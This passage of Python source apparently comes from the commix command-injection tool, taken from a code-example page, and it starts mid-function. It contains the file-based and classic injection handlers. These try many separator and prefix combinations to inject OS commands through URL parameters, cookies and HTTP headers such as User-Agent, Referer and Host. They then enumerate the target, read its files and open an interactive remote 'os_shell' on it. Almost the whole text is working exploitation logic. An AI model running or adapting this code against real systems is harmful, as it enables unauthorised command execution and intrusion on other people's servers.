                            custom_web_root(url, timesec, filename,
                                            http_request_method,
                                            url_time_response)
                            continue

                        except:
                            raise

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        settings.FILE_BASED_STATE = True
                        found = True
                        no_result = False
                        # Check injection state
                        settings.DETECTION_PHASE = False
                        settings.EXPLOITATION_PHASE = True
                        if not settings.VERBOSITY_LEVEL >= 1 and \
                           not menu.options.alter_shell and \
                           not next_attack_vector:
                            next_attack_vector = True

                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.HOST_INJECTION == True:
                            header_name = "Host"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            if not settings.VERBOSITY_LEVEL >= 1:
                                print("")
                            else:
                                checks.total_of_requests()

                        # Print the findings to terminal.
                        success_msg = "The"
                        if len(found_vuln_parameter
                               ) > 0 and not "cookie" in header_name:
                            success_msg += " " + http_request_method
                        success_msg += ('', ' (JSON)')[settings.IS_JSON] + (
                            '', ' (SOAP/XML)'
                        )[settings.IS_XML] + the_type + header_name
                        success_msg += found_vuln_parameter + " seems injectable via "
                        success_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print(settings.print_success_msg(success_msg))
                        sub_content = str(checks.url_decode(payload))
                        print(settings.print_sub_content(sub_content))
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                timesec=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        new_line = True
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to enumerate again? [Y/n] > "
                                    enumerate_again = _input(
                                        "\n" + settings.print_question_msg(
                                            question_msg)).lower()
                                else:
                                    enumerate_again = ""
                                if len(enumerate_again) == 0:
                                    enumerate_again = "y"
                                if enumerate_again in settings.CHOICE_YES:
                                    fb_enumeration.do_check(
                                        separator, payload, TAG, timesec,
                                        prefix, suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    # print("")
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = False
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    # Delete previous shell (text) files (output)
                                    delete_previous_shell(
                                        separator, payload, TAG, prefix,
                                        suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.enumeration_options():
                                fb_enumeration.do_check(
                                    separator, payload, TAG, timesec, prefix,
                                    suffix, whitespace, http_request_method,
                                    url, vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd:
                            if not settings.VERBOSITY_LEVEL >= 1 and new_line:
                                print("")

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print("")
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to access files again? [Y/n] > "
                                    file_access_again = _input(
                                        settings.print_question_msg(
                                            question_msg))
                                else:
                                    file_access_again = ""
                                if len(file_access_again) == 0:
                                    file_access_again = "y"
                                if file_access_again in settings.CHOICE_YES:
                                    fb_file_access.do_check(
                                        separator, payload, TAG, timesec,
                                        prefix, suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    print("")
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    # Delete previous shell (text) files (output)
                                    delete_previous_shell(
                                        separator, payload, TAG, prefix,
                                        suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.file_access_options():
                                # if not menu.enumeration_options():
                                #   print("")
                                fb_file_access.do_check(
                                    separator, payload, TAG, timesec, prefix,
                                    suffix, whitespace, http_request_method,
                                    url, vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)
                                print("")

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            # if not menu.file_access_options():
                            #   print("")
                            fb_enumeration.single_os_cmd_exec(
                                separator, payload, TAG, timesec, prefix,
                                suffix, whitespace, http_request_method, url,
                                vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
                                filename)
                            # Delete previous shell (text) files (output)
                            delete_previous_shell(separator, payload, TAG,
                                                  prefix, suffix, whitespace,
                                                  http_request_method, url,
                                                  vuln_parameter,
                                                  OUTPUT_TEXTFILE, alter_shell,
                                                  filename)
                            raise SystemExit()

                        try:
                            # Pseudo-Terminal shell
                            go_back = False
                            go_back_again = False
                            while True:
                                # Delete previous shell (text) files (output)
                                # if settings.VERBOSITY_LEVEL >= 1:
                                #   print("")
                                delete_previous_shell(
                                    separator, payload, TAG, prefix, suffix,
                                    whitespace, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)
                                if settings.VERBOSITY_LEVEL >= 1:
                                    print("")
                                if go_back == True:
                                    break
                                if not menu.options.batch:
                                    question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                    gotshell = _input(
                                        settings.print_question_msg(
                                            question_msg))
                                else:
                                    gotshell = ""
                                if len(gotshell) == 0:
                                    gotshell = "y"
                                if gotshell in settings.CHOICE_YES:
                                    if not menu.options.batch:
                                        print("")
                                    print("Pseudo-Terminal (type '" +
                                          Style.BRIGHT + "?" +
                                          Style.RESET_ALL +
                                          "' for available options)")
                                    if readline_error:
                                        checks.no_readline_module()
                                    while True:
                                        # Tab compliter
                                        if not readline_error:
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = _input("""commix(""" +
                                                     Style.BRIGHT + Fore.RED +
                                                     """os_shell""" +
                                                     Style.RESET_ALL +
                                                     """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        # if settings.VERBOSITY_LEVEL >= 1:
                                        #   print("")
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            go_back, go_back_again = shell_options.check_option(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename, technique, go_back,
                                                no_result, timesec,
                                                go_back_again, payload,
                                                OUTPUT_TEXTFILE)
                                            if go_back and go_back_again == False:
                                                break
                                            if go_back and go_back_again:
                                                return True
                                        else:
                                            time.sleep(timesec)
                                            response = fb_injector.injection(
                                                separator, payload, TAG, cmd,
                                                prefix, suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter,
                                                OUTPUT_TEXTFILE, alter_shell,
                                                filename)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Command execution results.
                                                shell = fb_injector.injection_results(
                                                    url, OUTPUT_TEXTFILE,
                                                    timesec)
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                if shell != "":
                                                    # Update logs with executed cmds and execution results.
                                                    logs.executed_command(
                                                        filename, cmd, shell)
                                                    print("\n" + Fore.GREEN +
                                                          Style.BRIGHT +
                                                          shell +
                                                          Style.RESET_ALL +
                                                          "\n")

                                            if not shell or shell == "":
                                                if settings.VERBOSITY_LEVEL >= 1:
                                                    print("")
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print(
                                                    settings.
                                                    print_critical_msg(
                                                        err_msg) + "\n")

                                elif gotshell in settings.CHOICE_NO:
                                    if checks.next_attack_vector(
                                            technique, go_back) == True:
                                        break
                                    else:
                                        if no_result == True:
                                            return False
                                        else:
                                            return True

                                elif gotshell in settings.CHOICE_QUIT:
                                    # Delete previous shell (text) files (output)
                                    delete_previous_shell(
                                        separator, payload, TAG, prefix,
                                        suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + gotshell + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass

                        except KeyboardInterrupt:
                            # if settings.VERBOSITY_LEVEL >= 1:
                            print("")
                            # Delete previous shell (text) files (output)
                            delete_previous_shell(separator, payload, TAG,
                                                  prefix, suffix, whitespace,
                                                  http_request_method, url,
                                                  vuln_parameter,
                                                  OUTPUT_TEXTFILE, alter_shell,
                                                  filename)
                            raise

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print("")
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 47
0
def cb_injection_handler(url, timesec, filename, http_request_method,
                         injection_type, technique):
    shell = False
    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False

    if not settings.LOAD_SESSION:
        info_msg = "Testing the " + "(" + injection_type.split(
            " ")[0] + ") " + technique + ". "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        if settings.VERBOSITY_LEVEL != 0:
            print(settings.SINGLE_WHITESPACE)

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACES:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    if whitespace == " ":
                        whitespace = _urllib.parse.quote(whitespace)
                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique, injection_type):
                        try:
                            settings.CLASSIC_STATE = True
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print(settings.print_critical_msg(err_msg))
                            raise SystemExit()

                    else:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            # Define prefixes & suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Whitespace fixation
                            payload = payload.replace(
                                settings.SINGLE_WHITESPACE, whitespace)

                            # Perform payload modification
                            payload = checks.perform_payload_modification(
                                payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL == 1:
                                print(settings.print_payload(payload))
                            elif settings.VERBOSITY_LEVEL >= 2:
                                debug_msg = "Generating payload for the injection."
                                print(settings.print_debug_msg(debug_msg))
                                print(settings.print_payload(payload))

                            # Cookie header injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie header injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = cb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent HTTP header injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent HTTP header injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = cb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer HTTP header injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer HTTP header injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = cb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Host HTTP header injection
                            elif settings.HOST_INJECTION == True:
                                # Check if target host is vulnerable to host HTTP header injection.
                                vuln_parameter = parameters.specify_host_parameter(
                                    menu.options.host)
                                response = cb_injector.host_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = cb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = cb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Try target page reload (if it is required).
                            if settings.URL_RELOAD:
                                response = requests.url_reload(url, timesec)

                            # Evaluate test results.
                            time.sleep(timesec)
                            shell = cb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if settings.VERBOSITY_LEVEL == 0:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "." + " (" + str(
                                        float_percent) + "%)"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if float(float_percent) >= 99.9:
                                    if no_result == True:
                                        percent = settings.FAIL_STATUS
                                    else:
                                        percent = ".. (" + str(
                                            float_percent) + "%)"
                                elif len(shell) != 0:
                                    percent = settings.info_msg
                                else:
                                    percent = ".. (" + str(
                                        float_percent) + "%)"
                                info_msg = "Testing the " + "(" + injection_type.split(
                                    " "
                                )[0] + ") " + technique + "." + "" + percent + ""
                                sys.stdout.write(
                                    "\r" + settings.print_info_msg(info_msg))
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except EOFError:
                            err_msg = "Exiting, due to EOFError."
                            print(settings.print_error_msg(err_msg))
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False
                        # Check injection state
                        settings.DETECTION_PHASE = False
                        settings.EXPLOITATION_PHASE = True
                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.HOST_INJECTION == True:
                            header_name = " Host"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            # Check if defined POST data
                            if not settings.USER_DEFINED_POST_DATA:
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            if settings.VERBOSITY_LEVEL == 0:
                                print(settings.SINGLE_WHITESPACE)
                            else:
                                checks.total_of_requests()

                        # Print the findings to terminal.
                        info_msg = "The"
                        if len(found_vuln_parameter
                               ) > 0 and not "cookie" in header_name:
                            info_msg += " " + http_request_method + ""
                        info_msg += ('', ' (JSON)')[settings.IS_JSON] + (
                            '', ' (SOAP/XML)'
                        )[settings.IS_XML] + the_type + header_name
                        info_msg += found_vuln_parameter + " seems injectable via "
                        info_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print(settings.print_bold_info_msg(info_msg))
                        sub_content = str(checks.url_decode(payload))
                        print(settings.print_sub_content(sub_content))
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                timesec=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACES[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        new_line = True
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to enumerate again? [Y/n] > "
                                    enumerate_again = _input(
                                        "\n" + settings.print_question_msg(
                                            question_msg)).lower()
                                else:
                                    enumerate_again = ""
                                if len(enumerate_again) == 0:
                                    enumerate_again = "Y"
                                if enumerate_again in settings.CHOICE_YES:
                                    cb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    #print(settings.SINGLE_WHITESPACE)
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = False
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.enumeration_options():
                                cb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd and new_line:
                            print(settings.SINGLE_WHITESPACE)

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print(settings.SINGLE_WHITESPACE)
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to access files again? [Y/n] > "
                                    file_access_again = _input(
                                        settings.print_question_msg(
                                            question_msg))
                                else:
                                    file_access_again = ""
                                if len(file_access_again) == 0:
                                    file_access_again = "Y"
                                if file_access_again in settings.CHOICE_YES:
                                    cb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    print(settings.SINGLE_WHITESPACE)
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + file_access_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.file_access_options():
                                # if not menu.enumeration_options():
                                #   print(settings.SINGLE_WHITESPACE)
                                cb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)
                                print(settings.SINGLE_WHITESPACE)

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            # if not menu.file_access_options():
                            #   print(settings.SINGLE_WHITESPACE)
                            cb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename, timesec)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            if not menu.options.batch:
                                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                gotshell = _input(
                                    settings.print_question_msg(question_msg))
                            else:
                                gotshell = ""
                            if len(gotshell) == 0:
                                gotshell = "Y"
                            if gotshell in settings.CHOICE_YES:
                                # if not menu.options.batch:
                                #   print(settings.SINGLE_WHITESPACE)
                                print("Pseudo-Terminal (type '" +
                                      Style.BRIGHT + "?" + Style.RESET_ALL +
                                      "' for available options)")
                                if settings.READLINE_ERROR:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        if not settings.READLINE_ERROR:
                                            checks.tab_autocompleter()
                                        sys.stdout.write(settings.OS_SHELL)
                                        cmd = _input()
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            go_back, go_back_again = shell_options.check_option(
                                                separator,
                                                TAG,
                                                cmd,
                                                prefix,
                                                suffix,
                                                whitespace,
                                                http_request_method,
                                                url,
                                                vuln_parameter,
                                                alter_shell,
                                                filename,
                                                technique,
                                                go_back,
                                                no_result,
                                                timesec,
                                                go_back_again,
                                                payload,
                                                OUTPUT_TEXTFILE="")
                                            if go_back and go_back_again == False:
                                                break
                                            if go_back and go_back_again:
                                                return True
                                        else:
                                            # Command execution results.
                                            time.sleep(timesec)
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)
                                            # Try target page reload (if it is required).
                                            if settings.URL_RELOAD:
                                                response = requests.url_reload(
                                                    url, timesec)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                try:
                                                    shell = cb_injector.injection_results(
                                                        response, TAG, cmd)
                                                    shell = "".join(
                                                        str(p) for p in shell)
                                                except:
                                                    print(settings.
                                                          SINGLE_WHITESPACE)
                                                    continue
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                shell = unescape(shell)
                                                # Update logs with executed cmds and execution results.
                                                logs.executed_command(
                                                    filename, cmd, shell)
                                            if shell != "":
                                                print("\n" + Fore.GREEN +
                                                      Style.BRIGHT + shell +
                                                      Style.RESET_ALL + "\n")
                                            else:
                                                if settings.VERBOSITY_LEVEL != 0:
                                                    print(settings.
                                                          SINGLE_WHITESPACE)
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print(
                                                    settings.
                                                    print_critical_msg(
                                                        err_msg) + "\n")

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                                    except EOFError:
                                        err_msg = "Exiting, due to EOFError."
                                        print(
                                            settings.print_error_msg(err_msg))
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                raise SystemExit()

                            else:
                                err_msg = "'" + gotshell + "' is not a valid answer."
                                print(settings.print_error_msg(err_msg))
                                pass

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print(settings.SINGLE_WHITESPACE)
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()